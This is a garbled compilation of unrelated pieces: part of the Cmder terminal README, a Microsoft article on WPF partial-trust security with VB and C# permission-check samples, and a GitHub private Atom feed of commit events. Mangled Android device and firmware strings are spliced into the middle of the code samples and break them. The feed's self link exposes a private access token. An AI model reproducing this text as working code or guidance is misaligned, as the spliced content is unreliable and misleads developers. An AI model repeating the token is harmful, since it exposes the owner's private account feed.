[Cygwin](https://cygwin.com/) project which provides POSIX support on windows. ⚠ *NOTE:* Mintty tabs use a program called 'mintty' as the terminal emulator that is not based on the Windows Console API, rather it's rendered graphically by ConEmu. Mintty differs from the other tabs in that it supports xterm/xterm-256color TERM types, and does not work with ConEmu settings like color schemes and key bindings. As such, some differences in functionality are to be expected, such as Cmder not being able to apply a system-wide configuration to it. As a result mintty specific config is done via the `[%USERPROFILE%|$HOME]/.minttyrc` file. You may read more about Mintty and its config file [here](https://github.com/mintty/mintty). An example of setting Cmder portable terminal colors for mintty: From a bash/mintty shell: ``` cd $CMDER_ROOT/vendor git clone https://github.com/karlin/mintty-colors-solarized.git cd mintty-colors-solarized/ echo source \$CMDER_ROOT/vendor/mintty-colors-solarized/mintty-solarized-dark.sh>>$CMDER_ROOT/config/user_profile.sh ``` You may find some Monokai color schemes for mintty to match Cmder [here](https://github.com/oumu/mintty-color-schemes/blob/master/base16-monokai-mod.minttyrc). ### Changing Cmder Default `cmd.exe` Prompt Config File The default Cmder shell `cmd::Cmder` prompt is customized using `Clink` and is configured by editing a config file that exists in one of two locations: - Single User Portable Config `%CMDER_ROOT%\config\cmder_prompt_config.lua` - Shared Cmder install with Non-Portable Individual User Config `%CMDER_USER_CONFIG%\cmder_prompt_config.lua` If your Cmder setup does not have this file create it from `%CMDER_ROOT%\vendor\cmder_prompt_config.lua.default` Customizations include: - Colors. - Single/Multi-line. - Full path/Folder only. - `[user]@[host]` to the beginning of the prompt. - `~` for home directory. - `λ` symbol Documentation is in the file for each setting. ### Changing Cmder Default `cmd.exe` Shell Startup Behaviour Using Task Arguments 1. Press <kbd>Win</kbd> + <kbd>Alt</kbd> + <kbd>T</kbd> 1. Click either: * `1. {cmd::Cmder as Admin}` * `2. {cmd::Cmder}` 1. Add command line arguments where specified below: *Note: Pay attention to the quotes!* ``` cmd /s /k ""%ConEmuDir%\..\init.bat" [ADD ARGS HERE]" ``` ##### Command Line Arguments for `init.bat` | Argument | Description | Default | | ----------------------------- | ---------------------------------------------------------------------------------------------- | ------------------------------------- | | `/c [user cmder root]` | Enables user bin and config folders for 'Cmder as admin' sessions due to non-shared environment. | not set | | `/d` | Enables debug output. | not set | | `/f` | Enables Cmder Fast Init Mode. This disables some features, see pull request [#1492](https://github.com/cmderdev/cmder/pull/1942) for more details. | not set | | `/t` | Enables Cmder Timed Init Mode. This displays the time taken run init scripts | not set | | `/git_install_root [file path]` | User specified Git installation root path. | `%CMDER_ROOT%\vendor\Git-for-Windows` | | `/home [home folder]` | User specified folder path to set `%HOME%` environment variable. | `%userprofile%` | | `/max_depth [1-5]` | Define max recurse depth when adding to the path for `%cmder_root%\bin` and `%cmder_user_bin%` | 1 | | `/nix_tools [0-2]` | Define how `*nix` tools are added to the path. Prefer Windows Tools: 1, Prefer *nix Tools: 2, No `/usr/bin` in `%PATH%`: 0 | 1 | | `/svn_ssh [path to ssh.exe]` | Define `%SVN_SSH%` so we can use git svn with ssh svn repositories. | `%GIT_INSTALL_ROOT%\bin\ssh.exe` | | `/user_aliases [file path]` | File path pointing to user aliases. | `%CMDER_ROOT%\config\user_aliases.cmd` | | `/v` | Enables verbose output. | not set | | (custom arguments) | User defined arguments processed by `cexec`. Type `cexec /?` for more usage. | not set | ### Cmder Shell User Config Single user portable configuration is possible using the cmder specific shell config files. Edit the below files to add your own configuration: | Shell | Cmder Portable User Config | | ------------- | ----------------------------------------- | | Cmder | `%CMDER_ROOT%\config\user_profile.cmd` | | PowerShell | `$ENV:CMDER_ROOT\config\user_profile.ps1` | | Bash/Mintty | `$CMDER_ROOT/config/user_profile.sh` | Note: Bash and Mintty sessions will also source the `$HOME/.bashrc` file if it exists after it sources `$CMDER_ROOT/config/user_profile.sh`. You can write `*.cmd|*.bat`, `*.ps1`, and `*.sh` scripts and just drop them in the `%CMDER_ROOT%\config\profile.d` folder to add startup config to Cmder. | Shell | Cmder `Profile.d` Scripts | | ------------- | -------------------------------------------------- | | Cmder | `%CMDER_ROOT%\config\profile.d\*.bat and *.cmd` | | PowerShell | `$ENV:CMDER_ROOT\config\profile.d\*.ps1` | | Bash/Mintty | `$CMDER_ROOT/config/profile.d/*.sh` | #### Git Status Opt-Out To disable Cmder prompt git status globally add the following to `~/.gitconfig` or locally for a single repo `[repo]/.git/config` and start a new session. *Note: This configuration is not portable* ``` [cmder] status = false # Opt out of Git status for 'ALL' Cmder supported shells. cmdstatus = false # Opt out of Git status for 'Cmd.exe' shells. psstatus = false # Opt out of Git status for 'Powershell.exe and 'Pwsh.exe' shells. shstatus = false # Opt out of Git status for 'bash.exe' shells. ``` ### Aliases #### Cmder(`Cmd.exe`) Aliases You can define simple aliases for `cmd.exe` sessions with a command like `alias name=command`. Cmd.exe aliases support optional parameters through the `$1-9` or the `$*` special characters so the alias `vi=vim.exe $*` typed as `vi [filename]` will open `[filename]` in `vim.exe`. Cmd.exe aliases can also be more complex. See: [DOSKEY.EXE documentation](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/doskey) for additional details on complex aliases/macros for `cmd.exe` Aliases defined using the `alias.bat` command will automatically be saved in the `%CMDER_ROOT%\config\user_aliases.cmd` file To make an alias and/or any other profile settings permanent add it to one of the following: Note: These are loaded in this order by `$CMDER_ROOT/vendor/init.bat`. Anything stored in `%CMDER_ROOT%` will be a portable setting and will follow cmder to another machine. * `%CMDER_ROOT%\config\profile.d\*.cmd` and `\*.bat` * `%CMDER_ROOT%\config\user_aliases.cmd` * `%CMDER_ROOT%\config\user_profile.cmd` #### Bash.exe|Mintty.exe Aliases Bash shells support simple and complex aliases with optional parameters natively so they work a little different. Typing `alias name=command` will create an alias only for the current running session. To make an alias and/or any other profile settings permanent add it to one of the following: Note: These are loaded in this order by `$CMDER_ROOT/vendor/git-for-windows/etc/profile.d/cmder.sh`. Anything stored in `$CMDER_ROOT` will be a portable setting and will follow cmder to another machine. * `$CMDER_ROOT/config/profile.d/*.sh` * `$CMDER_ROOT/config/user_profile.sh` * `$HOME/.bashrc` If you add bash aliases to `$CMDER_ROOT/config/user_profile.sh` they will be portable and follow your Cmder folder if you copy it to another machine. `$HOME/.bashrc` defined aliases are not portable. #### PowerShell.exe Aliases PowerShell has native simple alias support, for example `[new-alias | set-alias] alias command`, so complex aliases with optional parameters are not supported in PowerShell sessions. Type `get-help [new-alias|set-alias] -full` for help on PowerShell aliases. To make an alias and/or any other profile settings permanent add it to one of the following: Note: These are loaded in this order by `$ENV:CMDER_ROOT\vendor\user_profile.ps1`. Anything stored in `$ENV:CMDER_ROOT` will be a portable setting and will follow cmder to another machine. * `$ENV:CMDER_ROOT\config\profile.d\*.ps1` * `$ENV:CMDER_ROOT\config\user_profile.ps1` ### SSH Agent To start the vendored SSH agent simply call `start-ssh-agent`, which is in the `vendor/git-for-windows/cmd` folder. If you want to run SSH agent on startup, include the line `@call "%GIT_INSTALL_ROOT%/cmd/start-ssh-agent.cmd"` in `%CMDER_ROOT%/config/user_profile.cmd` (usually just uncomment it). ### Vendored Git Cmder is by default shipped with a vendored Git installation. On each instance of launching Cmder, an attempt is made to locate any other user provided Git binaries. Upon finding a `git.exe` binary, Cmder further compares its version against the vendored one _by executing_ it. The vendored `git.exe` binary is _only_ used when it is more recent than the user-installed one. You may use your favorite version of Git by including its path in the `%PATH%` environment variable. Moreover, the **Mini** edition of Cmder (found on the [downloads page](https://github.com/cmderdev/cmder/releases)) excludes any vendored Git binaries. ### Using external Cygwin/Babun, MSys2, WSL, or Git for Windows SDK with Cmder. You may run bash (the default shell used on Linux, macOS and GNU/Hurd) externally on Cmder, using the following instructions: 1. Setup a new task by pressing <kbd>Win</kbd> +<kbd>Alt</kbd> + <kbd>T</kbd>. 1. Click the `+` button to add a task. 1. Name the new task in the top text box. 1. Provide task parameters, this is optional. 1. Add `cmd /c "[path_to_external_env]\bin\bash --login -i" -new_console` to the `Commands` text box. **Recommended Optional Steps:** Copy the `vendor/cmder_exinit` file to the Cygwin/Babun, MSys2, or Git for Windows SDK environments `/etc/profile.d/` folder to use portable settings in the `$CMDER_ROOT/config` folder. Note: MinGW could work if the init scripts include `profile.d` but this has not been tested. The destination file extension depends on the shell you use in that environment. For example: * bash - Copy to `/etc/profile.d/cmder_exinit.sh` * zsh - Copy to `/etc/profile.d/cmder_exinit.zsh` Uncomment and edit the below line in the script to use Cmder config even when launched from outside Cmder. ``` # CMDER_ROOT=${USERPROFILE}/cmder # This is not required if launched from Cmder. ``` ### Customizing user sessions using `init.bat` custom arguments. You can pass custom arguments to `init.bat` and use `cexec.cmd` in your `user_profile.cmd` to evaluate these arguments then execute commands based on a particular flag being detected or not. `init.bat` creates two shortcuts for using `cexec.cmd` in your profile scripts. #### `%ccall%` - Evaluates flags, runs commands if found, and returns to the calling script and continues. ``` ccall=call C:\Users\user\cmderdev\vendor\bin\cexec.cmd ``` Example: `%ccall% /startnotepad start notepad.exe` #### `%cexec%` - Evaluates flags, runs commands if found, and does not return to the calling script. ``` cexec=C:\Users\user\cmderdev\vendor\bin\cexec.cmd ``` Example: `%cexec% /startnotepad start notepad.exe` It is useful when you have multiple tasks to execute `cmder` and need it to initialize the session differently depending on the task chosen. To conditionally start `notepad.exe` when you start a specific `cmder` task: * Press <kbd>win</kbd>+<kbd>alt</kbd>+<kbd>t</kbd> * Click `+` to add a new task. * Add the below to the `Commands` block: ```batch cmd.exe /k ""%ConEmuDir%\..\init.bat" /startnotepad" ``` * Add the below to your `%cmder_root%\config\user_profile.cmd` ```batch %ccall% "/startNotepad" "start" "notepad.exe"` ``` To see detailed usage of `cexec`, type `cexec /?` in cmder. ### Integrating Cmder with [Hyper](https://github.com/zeit/hyper), [Microsoft VS Code](https://code.visualstudio.com/), and your favorite IDEs Cmder by default comes with a vendored ConEmu installation as the underlying terminal emulator, as stated [here](https://conemu.github.io/en/cmder.html). However, Cmder can in fact run in a variety of other terminal emulators, and even integrated IDEs. Assuming you have the latest version of Cmder, follow the following instructions to get Cmder working with your own terminal emulator. For instructions on how to integrate Cmder with your IDE, please read our [Wiki section](https://github.com/cmderdev/cmder/wiki#cmder-integration). ## Upgrading The process of upgrading Cmder depends on the version/build you are currently running. If you have a `[cmder_root]/config/user[-|_]conemu.xml`, you are running a newer version of Cmder, follow the below process: 1. Exit all Cmder sessions and relaunch `[cmder_root]/cmder.exe`, this backs up your existing `[cmder_root]/vendor/conemu-maximus5/conemu.xml` to `[cmder_root]/config/user[-|_]conemu.xml`. * The `[cmder_root]/config/user[-|_]conemu.xml` contains any custom settings you have made using the 'Setup Tasks' settings dialog. 2. Exit all Cmder sessions and backup any files you have manually edited under `[cmder_root]/vendor`. * Editing files under `[cmder_root]/vendor` is not recommended since you will need to re-apply these changes after any upgrade. All user customizations should go in `[cmder_root]/config` folder. 3. Delete the `[cmder_root]/vendor` folder. 4. Extract the new `cmder.zip` or `cmder_mini.zip` into `[cmder_root]/` overwriting all files when prompted. If you do not have a `[cmder_root]/config/user[-|_]conemu.xml`, you are running an older version of cmder, follow the below process: 1. Exit all Cmder sessions and backup `[cmder_root]/vendor/conemu-maximus5/conemu.xml` to `[cmder_root]/config/user[-|_]conemu.xml`. 2. Backup any files you have manually edited under `[cmder_root]/vendor`. * Editing files under `[cmder_root]/vendor` is not recommended since you will need to re-apply these changes after any upgrade. All user customizations should go in `[cmder_root]/config` folder. 3. Delete the `[cmder_root]/vendor` folder. 4. Extract the new `cmder.zip` or `cmder_mini.zip` into `[cmder_root]/` overwriting all files when prompted. ## Current development builds You can download builds of the current development branch by going to AppVeyor via the following link: [](https://ci.appveyor.com/project/MartiUK/cmder/branch/master/artifacts) ## License All software included is bundled with own license The MIT License (MIT) Copyright (c) 2016 Samuel Vasko Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
lhai36366
WPF Partial Trust Security Article 10 minutes to read In general, Internet applications should be restricted from having direct access to critical system resources, to prevent malicious damage. By default, HTML and client-side scripting languages are not able to access critical system resources. Because Windows Presentation Foundation (WPF) browser-hosted applications can be launched from the browser, they should conform to a similar set of restrictions. To enforce these restrictions, WPF relies on both Code Access Security (CAS) and ClickOnce (see WPF Security Strategy - Platform Security). By default, browser-hosted applications request the Internet zone CAS set of permissions, irrespective of whether they are launched from the Internet, the local intranet, or the local computer. Applications that run with anything less than the full set of permissions are said to be running with partial trust. WPF provides a wide variety of support to ensure that as much functionality as possible can be used safely in partial trust, and along with CAS, provides additional support for partial trust programming. This topic contains the following sections: WPF Feature Partial Trust Support Partial Trust Programming Managing Permissions WPF Feature Partial Trust Support The following table lists the high-level features of Windows Presentation Foundation (WPF) that are safe to use within the limits of the Internet zone permission set. Table 1: WPF Features that are Safe in Partial Trust Feature Area Feature General Browser Window Site of Origin Access IsolatedStorage (512KB Limit) UIAutomation Providers Commanding Input Method Editors (IMEs) Tablet Stylus and Ink Simulated Drag/Drop using Mouse Capture and Move Events OpenFileDialog XAML Deserialization (via XamlReader.Load) Web Integration Browser Download Dialog Top-Level User-Initiated Navigation mailto:links Uniform Resource Identifier Parameters HTTPWebRequest WPF Content Hosted in an IFRAME Hosting of Same-Site HTML Pages using Frame Hosting of Same Site HTML Pages using WebBrowser Web Services (ASMX) Web Services (using Windows Communication Foundation) Scripting Document Object Model Visuals 2D and 3D Animation Media (Site Of Origin and Cross-Domain) Imaging/Audio/Video Reading FlowDocuments XPS Documents Embedded & System Fonts CFF & TrueType Fonts Editing Spell Checking RichTextBox Plaintext and Ink Clipboard Support User-Initiated Paste Copying Selected Content Controls General Controls This table covers the WPF features at a high level. For more detailed information, the Windows Software Development Kit (SDK) documents the permissions that are required by each member in WPF. Additionally, the following features have more detailed information regarding partial trust execution, including special considerations. XAML (see XAML Overview (WPF)). Popups (see System.Windows.Controls.Primitives.Popup). Drag and Drop (see Drag and Drop Overview). Clipboard (see System.Windows.Clipboard). Imaging (see System.Windows.Controls.Image). Serialization (see XamlReader.Load, XamlWriter.Save). Open File Dialog Box (see Microsoft.Win32.OpenFileDialog). The following table outlines the WPF features that are not safe to run within the limits of the Internet zone permission set. Table 2: WPF Features that are Not Safe in Partial Trust Feature Area Feature General Window (Application Defined Windows and Dialog Boxes) SaveFileDialog File System Registry Access Drag and Drop XAML Serialization (via XamlWriter.Save) UIAutomation Clients Source Window Access (HwndHost) Full Speech Support Windows Forms Interoperability Visuals Bitmap Effects Image Encoding Editing Rich Text Format Clipboard Full XAML support Partial Trust Programming For XBAP applications, code that exceeds the default permission set will have different behavior depending on the security zone. In some cases, the user will receive a warning when they attempt to install it. The user can choose to continue or cancel the installation. The following table describes the behavior of the application for each security zone and what you have to do for the application to receive full trust. Security Zone Behavior Getting Full Trust Local computer Automatic full trust No action is needed. Intranet and trusted sites Prompt for full trust Sign the XBAP with a certificate so that the user sees the source in the prompt. Internet Fails with "Trust Not Granted" Sign the XBAP with a certificate. Note The behavior described in the previous table is for full trust XBAPs that do not follow the ClickOnce Trusted Deployment model. In general, code that may exceed the allowed permissions is likely to be common code that is shared between both standalone and browser-hosted applications. CAS and WPF offer several techniques for managing this scenario. Detecting Permissions Using CAS In some situations, it is possible for shared code in library assemblies to be used by both standalone applications and XBAPs. In these cases, code may execute functionality that could require more permissions than the application's awarded permission set allows. Your application can detect whether or not it has a certain permission by using Microsoft .NET Framework security. Specifically, it can test whether it has a specific permission by calling the Demand method on the instance of the desired permission. This is shown in the following example, which has code that queries for whether it has the ability to save a file to the local disk: Imports System.IO ' File, FileStream, StreamWriter Imports System.IO.IsolatedStorage ' IsolatedStorageFile Imports System.Security ' CodeAccesPermission, IsolatedStorageFileStream Imports System.Security.Permissions ' FileIOPermission, FileIOPermissionAccess Imports System.Windows ' MessageBox Namespace SDKSample Public Class FileHandling Public Sub Save() If IsPermissionGranted(New FileIOPermission(FileIOPermissionAccess.Write, "c:\newfile.txt")) Then ' Write to local disk Using stream As FileStream = File.Create("c:\newfile.txt") Using writer As New StreamWriter(stream) writer.WriteLine("I can write to local disk.") End Using End Using Else MessageBox.Show("I can't write to local disk.") End If End Sub ' Detect whether or not this application has the requested permission Private Function IsPermissionGranted(ByVal requestedPermission As CodeAccessPermission) As Boolean Try ' Try and get this permission requestedPermission.Demand() Return True Catch Return False End Try End Function ... End Class End Namespace using System.IO; // File, FileStream, StreamWriter using System.IO.IsolatedStorage; // IsolatedStorageFile using System.Security; // CodeAccesPermission, IsolatedStorageFileStream using System.Security.Permissions; // FileIOPermission, FileIOPermissionAccess using System.Windows; // MessageBox namespace SDKSample { public class FileHandling { public void Save() { if (IsPermissionGranted(new FileIOPermission(FileIOPermissionAccess.Write, @"c:\newfile.txt"))) { // Write to local disk using (FileStream stream = File.Create(@"c:\newfile.txt")) using (StreamWriter writer = new StreamWriter(stream)) { writer.WriteLine("I can write to local disk."); } } else { MessageBox.Show("I can't write to local disk."); } } // Detect whether or not this application has the requested permission bool IsPermissionGranted(CodeAccessPermission requestedPermission) { try { // Try and get this permission requestedPermission.Demand(); return true; } catch { return false; } } ... } } If an application does not have the desired permission, the call to Demand will throw a security exception. Otherwise, the permission has been granted. IsPermissionGranted encapsulates this behavior and returns true or false as appropriate. Graceful Degradation of Functionality Being able to detect whether code has the permission to do what it needs to do is interesting for code that can be executed from different zones. While detecting the zone is one thing, it is far better to provide an alternative for the user, if possible. For example, a full trust application typically enables users to create files anywhere they want, while a partial trust application can only create files in isolated storage. If the code to create a file exists in an assembly that is shared by both full trust (standalone) applications and partial trust (browser-hosted) applications, and both applications want users to be able to create files, the shared code should detect whether it is running in partial or full trust before creating a file in the appropriate location. The following code demonstrates both. Imports System.IO ' File, FileStream, StreamWriter Imports System.IO.IsolatedStorage ' IsolatedStorageFile Imports System.Security ' CodeAccesPermission Imports System.Security.Permissions ' FileIOPermission, FileIOPermissionAccess Imports System.Windows ' MessageBox Namespace SDKSample Public Class FileHandlingGraceful Public Sub Save() If IsPermissionGranted(New FileIOPermission(FileIOPermissionAccess.Write, "c:\newfile.txt")) Then ' Write to local disk Using stream As FileStream =tênthietbi:<hailuu(GT-19195)>phienban.android<4.4.2>capdovaloibaomat<2016-05-01>phienban.baseband<19195xxscQA3> File.Create("c:\newfile.txt") Using writer As New StreamWriter(stream) writer.WriteLine("I can write to local disk.") End Using End Using Else ' Persist application-scope property to ' isolated storage Dim storage As IsolatedStorageFile =phien.kernel<3.4.0-8086469>#¿¿¿¿¿#(#DPI@SWHC3707#1)¿¿¿¿¿WE¿JAN<4 20:32:33 KST2017¿¿¿¿¿>#sohieubantao#¿<kot49h.19195xxscQA3¿¿¿¿>#<trangthai.SE.cho"ANDROID"ENFORCING¿¿¿¿¿#<Sepf-9T-19195-4.4.2-0054>#¿¿¿¿¿-web¿an#<04 20:31:30 2017>¿¿¿¿¿#secureboo¿¿¿atus<¿#"type:SAMSUNG"¿¿¿¿¿#>| <?xml version="1.0" encoding="UTF-8"?> <feed xmlns="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" xml:lang="en-US"> <id>tag:github.com,2008:/Hailuu3333</id> <link type="text/html" rel="alternate" href="https://github.com/Hailuu3333"/> <link type="application/atom+xml" rel="self" href="https://github.com/Hailuu3333.private.atom?token=AWURDBH7ASDDKL3TWM5OQS57363BS"/> <title>Private Feed for Hailuu3333</title> <updated>2022-01-03T17:58:47Z</updated> <entry> <id>tag:github.com,2008:PushEvent/19562318704</id> <published>2022-01-03T17:58:47Z</published> <updated>2022-01-03T17:58:47Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/e746e8910e...5e157d1ff0"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T17:58:47Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/5e157d1ff014dcb8f80f421cdd001bdec6fba990" rel="noreferrer">5e157d1</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update all browsers versions for PerformanceResourceTiming API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1090544464" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14304" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14304/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14304" rel="noreferrer">#14304</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19562301951</id> <published>2022-01-03T17:57:13Z</published> <updated>2022-01-03T17:57:13Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/ba5bbe1657...e746e8910e"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T17:57:13Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/e746e8910e7defdbf34cc9ef0e05965debe30f4f" rel="noreferrer">e746e89</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update WebView versions for PerformanceObserverEntryList API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1090457391" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14301" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14301/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14301" rel="noreferrer">#14301</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19562295899</id> <published>2022-01-03T17:56:39Z</published> <updated>2022-01-03T17:56:39Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/f52107082e...ba5bbe1657"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T17:56:39Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/ba5bbe16577941c22b7e69856f1dcfacbb5a3328" rel="noreferrer">ba5bbe1</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update Firefox versions for PerformanceMeasure API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1090448000" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14299" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14299/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14299" rel="noreferrer">#14299</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19562286119</id> <published>2022-01-03T17:55:43Z</published> <updated>2022-01-03T17:55:43Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/04b6bd0c15...f52107082e"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T17:55:43Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/f52107082e4f9ef8ac6e98b3f7dfd2795309d824" rel="noreferrer">f521070</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update all browsers versions for PerformanceMark API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1090446499" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14298" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14298/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14298" rel="noreferrer">#14298</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19562263337</id> <published>2022-01-03T17:53:34Z</published> <updated>2022-01-03T17:53:34Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/75674de739...04b6bd0c15"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> 